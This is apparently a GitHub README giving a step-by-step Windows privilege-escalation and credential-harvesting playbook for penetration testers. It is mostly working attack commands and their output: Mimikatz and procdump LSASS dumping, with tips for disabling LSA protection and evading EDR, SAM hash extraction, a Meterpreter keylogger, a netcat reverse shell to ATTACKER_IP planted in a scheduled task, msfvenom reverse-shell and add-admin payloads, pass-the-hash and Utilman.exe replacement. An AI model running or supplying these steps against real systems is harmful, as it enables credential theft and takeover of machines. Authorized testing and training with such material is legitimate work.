Skip to content

Audit and pentest methodologies for Windows including internal enumeration, privesc, lateral movement, etc.

Notifications You must be signed in to change notification settings

Kiosec/Windows-Exploitation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 
 
 

Repository files navigation

Windows Privilege Esclations

Table of contents

➤ Internal Enumeration
➤ Password harvesting
➤ Privilege escalation through misconfigurations
➤ Privilege escalation through exploits

⭕ Internal Enumeration

🔻Display hidden files and folders

➤ Windows 11:
- Open File Explorer  from the taskbar. 
- Select View > Show > Hidden items.

➤ Windows 10:
- Open File Explorer from the taskbar. 
- Select View > Options > Change folder and search options.
- Select the View tab and, in Advanced settings, select Show hidden files, folders, and drives and OK.

➤ Using cmd or powershell :
dir F: /a: h / b / s

▪ /a:h: Shows the directory names and files with hidden attributes; the colon between “a” and “h” is optional;
▪ /b: Displays only the directories and files, without additional information;
▪ /s: Lists all occurrences of the specified file name in the specified directory and all subdirectories.

🔻Manual enumeration

➤ Who
whoami
echo %username%
whoami /priv
➤ Determine the groups that our account is part of
whoami /groups
➤ Users and groups
➤ What users are on the machine?
net users

➤ What localgroups are on the machine?
net localgroup

➤ More info about a specific user. Check if user has privileges.
net user user1

➤ Determine the users that are part of a specific localgroup
net localgroup <localgroup_name>

➤ View Domain Groups
net group /domain

➤ View Members of Domain Group
net group /domain {Group Name}
➤ System info
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
ver
hostname
➤ Patch on the system
wmic qfe
wmic qfe get Caption,Description,HotFixID,InstalledOn
➤ Drives attached to the system
wmic logicaldisk get caption
➤ Information regarding the processes that are currently running
tasklist /SVC
➤ Network
ipconfig /all
route print
arp -A
➤ Determine the services running and their respestive port
-a displays all established connections and listening ports
-b shows the program associated with each listening port and established connection
-o reveals the process ID (PID) associated with the connection
-n uses a numerical form for addresses and port numbers

netstat -ano

➤ Enumerate informatio regarding the firewall
netsh firewall show state
netsh firewall show config
➤ Vulnerable Drivers
Some driver might be vulnerable
driverquery
➤ Identify antivirus solutions
• Detect if Windows Defender is enabled on the machine (Powershell)
get-item 'hklm:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\'

• Detect if Windows Defender is enabled on the machine (Other)
sc query windefend

• Detect third-party antivirus solutions (list the services that running on the system)
sc queryex type=service
➤ Identify path form the command line
C:\>set
ALLUSERSPROFILE=C:\ProgramData
[...]
LOGNAME=strategos
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps;C:\Users\strategos\AppData\Local\Microsoft\WindowsApps;
[...]
➤ Search a specific filename
dir /b/s proof.txt

🔻Automated tools

➤ Winpeas :

https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

➤ PrivescCheck :

https://github.com/itm4n/PrivescCheck

➤ WES-NG: Windows Exploit Suggester - Next Generation :

https://github.com/bitsadmin/wesng

Important note : Some exploit suggesting scripts (e.g. winPEAS) will require you to upload them to the target system and run them there. This may cause antivirus software to detect and delete them. To avoid making unnecessary noise that can attract attention, you may prefer to use WES-NG, which will run on your attacking machine. Once installed, and before using it, type the wes.py --update command to update the database. The script will refer to the database it creates to check for missing patches that can result in a vulnerability you can use to elevate your privileges on the target system. To use the script, you will need to run the systeminfo command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.

➤ Snaffler

https://github.com/SnaffCon/Snaffler

➤ Seatbelt

https://github.com/GhostPack/Seatbelt

➤ Lazagne

https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/

➤ Mestaploit

If you already have a Meterpreter shell on the target system, you can use the multi/recon/local_exploit_suggester module to list vulnerabilities that may affect the target system.

🔻Bloodhound enumeration

➤ Install Bloodhound GUI
https://www.kalilinux.in/2021/01/install-bloodhound-on-kali-linux.html
➤ Install Bloodhound-python
pip3 install bloodhound
➤ Let's use bloodhound to visualise the domain and look for privilege escalation paths
bloodhound-python -d <DOMAIN> -u <USERNAME> -p <PASSWORD> -gc <COMPUTERNAME>.<DOMAIN> -c all -ns 10.0.0.1
→ EX:  bloodhound-python -d example.local -u svc-admin -p s3rvice -gc laptop01.example.local -c all -ns 10.0.0.1
➤ Execute Bloodhound
neo4j console start
bloodhound --no-sandbox
➤ Upload the JSON file into Bloodhound GUI
Drag and drop directly the zip on the bloodhound screen

⭕ Password Enumeration

🔻Automated search (Seatbelt)

🔻Automated search (Lazagne)

# Full enumeration
C:\Tools>.\lazagne.exe all

# Arguments
positional arguments:
  {chats,mails,all,git,svn,windows,wifi,maven,sysadmin,browsers,games,multimedia,memory,databases,php}
                        Choose a main command
    chats               Run chats module
    mails               Run mails module
    all                 Run all modules
    git                 Run git module
    svn                 Run svn module
    windows             Run windows module
    wifi                Run wifi module
    maven               Run maven module
    sysadmin            Run sysadmin module
    browsers            Run browsers module
    games               Run games module
    multimedia          Run multimedia module
    memory              Run memory module
    databases           Run databases module
    php                 Run php module

optional arguments:
  -h, --help            show this help message and exit
  -version              laZagne version

🔻Search passwords in files

➤ Locate the 'password' string in file with commonly used file extensions.
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
findstr /si password *.doc *.txt *.ini *.config
➤ Search for specific strings pertaining to services sush as SSH and FTP.
dir /s *pass* == *cred* == *vnc* == *.config*
➤ Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*

🔻Search in usual Windows files

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

🔻Search in Powershell history

➤ Using cmd
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
➤ Using powershell
type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Note : Globally, replace the user by the username "C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

🔻Search in Windows credential manager

Credential Manager is a Windows feature that stores logon-sensitive information for websites, applications, and networks. The credential manager can storage :

  • Web credentials contain authentication details stored in Internet browsers or other applications.
  • Windows credentials contain Windows authentication details, such as NTLM or Kerberos.
  • Generic credentials contain basic authentication details, such as clear-text usernames and passwords.
  • Certificate-based credentials: Athunticated details based on certifications.

image

➤ Access Windows Credential manager through GUI
Control Panel -> User Accounts -> Credential Manager
➤ List the vault (by default the two vaults are Web Credentials and Windows Credentials)
C:\Users\Administrator>vaultcmd /list
Currently loaded vaults:
        Vault: Web Credentials
        Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704ACD02
        Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704ACD02

        Vault: Windows Credentials
        Vault Guid:77BC582B-F0A6-4E15-4E80-61736B0FAB12
        Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault
➤ Read the credentials
➤ Check if there is any stored credentials into the vault
C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials"
C:\Users\Administrator>VaultCmd /listproperties:"Windows Credentials"
➤ Read information about the stored credentials
C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
C:\Users\Administrator>VaultCmd /listcreds:"Windows Credentials"
➤ List Windows saved credentials using CMDKEY
C:\Users\Kiosec>cmdkey /list
Currently stored credentials:

    Target: Domain:interactive=WINPRIVESC\admin
    Type: Domain Password
    User: WINPRIVESC\admin
➤ Dump the credential
➤ Using Powershell

Using Vaultcmd, it is not possible de show the password. However, it is possible using the following script : https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1

# Script :
function Get-WebCredentials
{

[CmdletBinding()] Param ()

$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$VaultObj = new-object Windows.Security.Credentials.PasswordVault
$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ }
}
# Commands :
C:\Users\Administrator>powershell -ex bypass
PS C:\Users\Administrator> Import-Module C:\Tools\Get-WebCredentials.ps1
PS C:\Users\Administrator> Get-WebCredentials
➤ Using Mimikatz
C:\Users\Administrator>c:\Tools\Mimikatz\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::credman

💥 Important note : think to deactivate the lsass protection (error : ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)). The details are provided into #extract-hashes-from-LSASS part

➤ Use directly the saved credentials using RUNAS (alternative)
# List the stored credentials
C:\Users\kiosec>cmdkey /list

Currently stored credentials:

    Target: Domain:interactive=admin\cyberlab
    Type: Domain Password
    User: admin\cyberlab
C:\Users\kiosec> runas /savecred /user:admin\cyberlab cmd.exe

🔻Search for password in registry

#Search "password" in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

🔻Search for password in database

Applications utilize database files to read or write settings, configurations, or credentials. Database files are usually stored locally in Windows operating systems. These files are an excellent target to check and hunt for credentials.

🔻Search for password in Password Managers

Examples of Password Manager applications:

  • Built-in password managers (Windows)
  • Third-party: KeePass, 1Password, LastPass

🔻Search in applications and third party applications

➤ VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
➤ Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
➤ SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
➤ Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
➤ McAfee
#Move to the McAfee folder
C:\Users\THM>cd C:\ProgramData\McAfee\Agent\DB

#Enumerate the folder
thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir
<...>
03/05/2022  10:03 AM           120,832 mcafee.db

#Download the DB and the attacker machine
# Ex: scp <USER>@<MACHINE_BIOS_NAME_OR_IP>:C:/ProgramData/McAfee/Agent/DB/ma.db .
scp admin1@win10:C:/ProgramData/McAfee/Agent/DB/ma.db .

#Browse the DB to find credentials
sqlitebrowser ma.db

# Decrypt Mcafee password using mcafeesitelistpwddecryption
# https://github.com/funoverip/mcafee-sitelist-pwd-decryption
# python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
python2.7 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==

🔻Search in IIS configuration

➤ IIS configuration file
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
➤ Using powershell/cmd
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

🔻Extract hashes from SAM

➤ Using Registry Hives
1. Extract the SAM and SYSTEM
C:\Users\Administrator\Desktop>reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
The operation completed successfully.

C:\Users\Administrator\Desktop>reg save HKLM\system C:\users\Administrator\Desktop\system-reg
The operation completed successfully.
2. Decrypt using secretsdump (Impacket)
kiosec@cyberlab:~# python3.9 /opt/impacket/examples/secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3a787a80d08385cea7fb4aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
➤ Using Volume Shadow Copy Service
1. Run the standard cmd.exe prompt with administrator privileges.
2. Execute the wmic command to create a copy shadow of C: drive.
C:\Users\Administrator>wmic shadowcopy call create Volume='C:\'
Executing (Win32_ShadowCopy)->create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ReturnValue = 0;
        ShadowID = "{D8A11619-474F-40AE-A5A0-C2FAA1D78B85}";
};
3. List and confirm that we have a shadow copy of the C: volume, using the vssadmin (Volume Shadow Copy Service administrative command-line tool)
C:\Users\Administrator>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Contents of shadow copy set ID: {0c404084-8ace-4cb8-a7ed-7d7ec659bb5f}
   Contained 1 shadow copies at creation time: 5/31/2022 1:45:05 PM
      Shadow Copy ID: {d8a11619-474f-40ae-a5a0-c2faa1d78b85}
         Original Volume: (C:)\\?\Volume{19127295-0000-0000-0000-100000000000}\
         Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
         Originating Machine: Creds-Harvesting-AD.thm.red
         Service Machine: Creds-Harvesting-AD.thm.red
         Provider: 'Microsoft Software Shadow Copy provider 1.0'
         Type: ClientAccessible
         Attributes: Persistent, Client-accessible, No auto release, No writers, Differential
4. Copy the SAM database from the shadow copy
C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
        1 file(s) copied.

C:\Users\Administrator>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system
        1 file(s) copied.
➤ Using Metasploit's HashDump (through lsass process)
meterpreter > getuid
Server username: lab\Administrator
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:98d3b784d80d18385cea5ab3aa2a4261:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ec44ddf5ae100b898e9edab74811430d:::

🔻Extract hashes from LSASS

Local Security Authority Server Service (LSASS) is a Windows process that handles the operating system security policy and enforces it on a system. It verifies logged in accounts and ensures passwords, hashes, and Kerberos tickets. Windows system stores credentials in the LSASS process to enable users to access network resources, such as file shares, SharePoint sites, and other network services, without entering credentials every time a user connects.

💥 important note : In 2012, Microsoft implemented an LSA protection, to keep LSASS from being accessed to extract credentials from memory (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa = 1). Consequently, it is required to disable the LSA protection. A LSA protection deactivation using Mimikatz is presented at the end of this part.

➤ Extract LSASS using task manager

The path of the dumped file is mentionned in a pop-up message when the dumping process is finished.

image

💥 important note : The dump process is writing to disk and dumping the LSASS process is detected by the antivirus and EDR. Keep in mind to add an automatic encryption method to bypass the security detection tools.

➤ Extract LSASS using procdump

Procdump is part of Sysinternals

c:\>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\tmp

💥 important note : The dump process is writing to disk and dumping the LSASS process is detected by the antivirus and EDR. Keep in mind to add an automatic encryption method to bypass the security detection tools.

➤ Extract LSASS using Mimikatz
C:\Tools\Mimikatz> mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

💥 important note : the error -> ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) means that the LSA protection is enable

➤ Desactivate the LSA protection
1. Activate mimidriv
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
2. Deactivate the LSA protection
mimikatz # !processprotect /process:lsass.exe /remove
Process : lsass.exe
PID 528 -> 00/00 [0-0-0]
3. Run one of the dumping solution mentionned above (e.g. Mimikatz, procdump, etc.)

🔻Extract passwords from Keepass

➤ Open Keepass vault using password (from Kali)
#Install kpcli
sudo apt install -y kpcli
kpcli

#Open vault and enter password
kpcli:/> open Database.kdbx

#List containers
kpcli:/> ls
kpcli:/> ls Database/*

#Show specific password
kpcli:/> show -f -a Database/General/Password

🔻Keylogger

Meterpreter has a built-in keylogger which will be useful for extracting the user's keystrokes.

💥 important note : Start and run the keylogger in the SYSTEM context won't be helpfull beacause SYSTEM won't be typing any keystrokes. To capture the correct user's credentials, we will need to ensure that our shell is running in the context of that user. Fortunately, Meterpreter provides us with a 'migrate' feature to migrate to any process. An example of execution is provided here (section exploit AD user) : https://tryhackme.com/room/exploitingad

➤ Execute the keylogger through a meterpreter session (Metasploit)
# Start the keylogger
meterpreter > keyscan_start

# Dump captured key strokes
meterpreter > keyscan_dump

# Stop the keylogger
meterpreter > keyscan_stop

⭕ Privilege escalation through misconfigurations

🔻Scheduled tasks method

➤ Step 01 : Scheduled tasks can be listed from the command line using the schtasks command without any options.
C:\Users\kiosec> schtasks
Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
vulnerable_scheduled_task                N/A                    Ready

Folder: \Microsoft
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
INFO: There are no scheduled tasks presently available at your access level.

Folder: \Microsoft\Windows
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
Server Initial Configuration Task        N/A                    Disabled

Folder: \Microsoft\Windows\.NET Framework
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
.NET Framework NGEN v4.0.30319           N/A                    Ready
.NET Framework NGEN v4.0.30319 64        N/A                    Ready
.NET Framework NGEN v4.0.30319 64 Critic N/A                    Disabled
.NET Framework NGEN v4.0.30319 Critical  N/A                    Disabled
➤ Step 02 : To retrieve detailed information about any of the services, you can use a command like the following one:
C:\Users\kiosec> schtasks /query /tn vulnerable_scheduled_task /fo list /v
Folder: \
HostName:                             WINPRIVESC
TaskName:                             \vulnerable_scheduled_task
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          admin

Note : "Task to Run" parameter which indicates what gets executed by the scheduled task, and the "Run As User" parameter, which shows the user that will be used to execute the task. If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the admin user, resulting in a simple privilege escalation.

➤ Step 03 : Check the file permissions on the executable
C:\Users\kiosec> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
                    BUILTIN\Administrators:(I)(F)
                    BUILTIN\Users:(I)(F)

Note : As can be seen in the result, the BUILTIN\Users group has full access (F) over the task's binary. This means we can modify the .bat file and insert any payload we like.

➤ Step 04 : Overwrite the vulnerable .bat file and insert a payload (ex: reverse shell)
C:\Users\kiosec> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 443 > C:\tasks\schtask.bat
➤ Step 05 : Waiting the next time the scheduled task is triggered
➤ Step 05 BIS : Manually run the task (Probably wouldn't be able to start the task in a real scenario)
C:\Users\kiosec> schtasks /run /tn vulnerable_scheduled_task

🔻AlwaysInstallElevated method

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

➤ 1. check the values of these two registry entries (all need to be on 0x1)
C:\Users\kiosec> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\kiosec> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Output: AlwaysInstallElevated   REG_DWORD   0x1
➤ 2. Generate a MSI file which add our user in the Local Administrators group
msfvenom -p windows/adduser USER=lexis PASS=mypassword123! -f msi -o exploit.msi
➤ 2 Bis. Generate a MSI file which execute a reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
➤ 3. Upload the MSI file on the victim
➤ 4. Executre the MSI file
msiexec /quiet /qn /i C:\Users\victim\Downloads\exploit.msi

Note :

  • /quiet = Suppress any messages to the user during installation
  • /qn = No GUI
  • /i = Regular (vs. administrative) installation
➤ 5. Verify that our user has been added in the localgroup Administrators (main scenario)
net localgroup Administrators

🔻Abusing dangerous privileges

Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.

List of available priviles on Windows systems : https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants List of expoitable privileges : https://github.com/gtworek/Priv2Admin

➤ 1. List the user's assigned privileges
C:\Users\kiosec> whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Important note : The status Enabled is not systematically required in order to perform the attacks.

➤ 2. SeBackup / SeRestore privileges

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator's password hash.

Example of attack steps
➤ backup the SAM and SYSTEM hashes
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.

➤ Copy hashes to our attacker machine

➤ Retrieve users' password hashard using impacket
kiosec@attackerlab$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

➤ Perfom PassTheHash attack using administrator's hash
user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes <HASH> administrator@10.0.0.1
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
➤ 3. SeTakeOwnershipPrivileges

The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service's executable.

Example of attack steps - Ultiman.exe
➤ Taking ownership on the executable
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "VULNWINMACHINE\kiosec".

Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need.

➤ Give you full permissions
C:\> icacls C:\Windows\System32\Utilman.exe /grant kiosec:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files

➤ Replace utilman.exe with a copy of cmd.exe
C:\Windows\System32\> copy cmd.exe utilman.exe
        1 file(s) copied.

➤ Lock the account session, then click on the "Ease of Access" button (on the left of the shutdown button), which runs utilman.exe with SYSTEM privileges.
SeImpersonate / SeAssignPrimaryToken

These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
https://ohpe.it/juicy-potato/
https://github.com/ohpe/juicy-potato/releases
Example of attack steps :RogueWinRM

🔻Insecure permissions on service executable method

If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service's account trivially.

➤ 1. List the services
➤ 2. Query a specific service configuration
C:\Users\kiosec> sc qc vulnerable_service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: vulnerable_service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\VService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcadmin

Note : PowerShell has sc as an alias to Set-Content, therefore you need to use sc.exe in order to control services with PowerShell this way.

➤ 3. Check the permissions on the executable associated to the service (Binary_Path_Name)
C:\Users\kiosec>icacls C:\PROGRA~2\SYSTEM~1\VService.exe
C:\PROGRA~2\SYSTEM~1\VService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

Note : The Everyone group has modify permissions (M) on the service's executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.

➤ 4. Generate an exe-service payload using msfvenom (reverse shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe-service -o reverse-shell.exe
➤ 5. Upload the reverse shell on the victim's asset
➤ 6. Create the listener on the attacker's asset
➤ 7. Replace the service executable with our payload

Note : Since we need another user to execute our payload, we'll want to grant full permissions to the Everyone group.

C:\Users\kiosec> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move VService.exe VService.exe.bkp
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\reverse-shell.exe VService.exe
        1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls VService.exe /grant Everyone:F
        Successfully processed 1 files.
➤ 8. Restart the service

Note : in a normal scenario, you would likely have to wait for a service restart

C:\Users\kiosec> sc stop windowsscheduler
C:\Users\kiosec> sc start windowsscheduler

🔻Unquoted service paths method

➤ 0. Explanation

Windows would try to locate and execute programs in the following order:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
➤ 1. Find Services With Unquoted Paths

• Using sc

sc query
sc qc service name

• Using WMIC

wmic service get name,displayname,pathname,startmode |findstr /i /v "c:\" |findstr /i /v """
➤ 2. Look for Binary_path_name (Binary with space) and for each of them, check if the path is unquoted ('').

Vulnerable example: C:\Program Files\Some Folder\Service.exe

➤ 3. Verify that we can write into one of the subfolder
icacls "C:\Program Files\Some Folder\"
➤ 4. Create a reverse shell named Some.exe in 'C:\Program Files\Some Folder'
➤ 5. Restart the service linked with service.exe
sc stop vulnerable_service
sc start vulnerable_service

🔻Insecure service permissions method

You might still have a slight chance of taking advantage of a service if the service's executable DACL is well configured, and the service's binary path is rightly quoted. Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

➤ 1. To check for a service DACL from the command line, you can use Accesschk
➤ For a specific service name
C:\tools\AccessChk> accesschk64.exe -qlc <SERVICENAME>
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

➤ All services for a specific user
C:\tools\AccessChk> accesschk64.exe -uwcqv "<USERNAME>" * -accepteula

➤ For all services
C:\tools\AccessChk> accesschk64.exe -qlc *
➤ 2. Detect the user group that can reconfigure the service
    [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS
➤ 3. Create a reverse-shell (exe-service)
kiosec@seculab$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=8083 -f exe-service -o vuln-svc.exe
➤ 4. Create a listener
kiosec@seculab$ nc -lvp 8083
➤ 5. Transfer the reverse shell (vuln-svc.exe) to the victim asset
➤ 6. Grant permissions to Everyone to execute your payload
C:\> icacls C:\Users\unpriv\vuln-svc.exe /grant Everyone:F
➤ 7. Change the service's associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):
C:\> sc config VUNLService binPath= "C:\Users\tmp\vuln-svc.exe" obj= LocalSystem
➤ 8. To trigger the payload, restart the service
C:\> sc stop VULNService
C:\> sc start VULNService

🔻Insecure Autorun program method

Autorun is a Windows feature that is used to automatically start applications and programs during system startup.

Note : Autorun feature is disabled by default in newer versions such as Windows 10.

➤ 1. Identify Auturun applications on the target system
#Display the list of Autorun applications
re query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

OR

#Display the list of Autorun applications, their access permissions and their respective directories
.\accesschk64.exe -wvu "C:\Program Files\ Autorun Program"

Note : The applications are located into "C:\Program Files\Autorun Program\xxxx.exe

➤ 2. Identify the access permissions on the Autorun program
Example :
    - "RW EVERYONE" -> Everyone can read and modify the service
➤ 3. Create a reverse shell (e.g., msfvenom .exe) and upload it on the victim machine
➤ 4. Rename the original binary (vuln service) or simply take a backup
mv vuln-program.exe vuln-program_backup.exe

🔻Insecure startup/logon/logoff services permissions method

➤ 1. Execute Auturuns.exe (Sysinternals) and identify the programs and scripts running at the startup, logon and logoff
➤ 2. identify the programs and scripts running at the startup, logon and logoff
• In the menu click on everything (default dashboard when auturuns is executed)

• Detect the files in the following parts:
- HKCU\Software\Micrisoft\Windows\CurrentVersion\Group Policy\Scripts\Logon
- HKCU\Software\Micrisoft\Windows\CurrentVersion\Group Policy\Scripts\Logoff
